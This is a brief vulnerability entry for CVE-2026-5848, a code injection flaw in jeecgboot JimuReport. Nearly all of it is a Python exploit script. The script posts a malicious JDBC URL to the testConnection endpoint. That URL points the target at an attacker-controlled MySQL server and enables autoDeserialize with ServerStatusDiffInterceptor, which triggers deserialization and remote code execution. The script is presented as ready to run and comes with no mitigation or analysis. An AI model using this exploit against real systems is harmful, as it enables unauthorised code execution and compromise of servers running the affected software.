CVE-2026-5848 jeecgboot JimuReport代码注入漏洞

import requests # Target URL url = "http://target-host:port/drag/onlDragDataSource/testConnection" # Malicious payload demonstrating the injection via dbUrl # This is a conceptual example using a MySQL JDBC deserialization vector payload = { "dbUrl": "jdbc:mysql://attacker-controlled-server:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", "dbDriver": "com.mysql.cj.jdbc.Driver", "username": "root", "password": "password" } try: response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully, check server for code execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")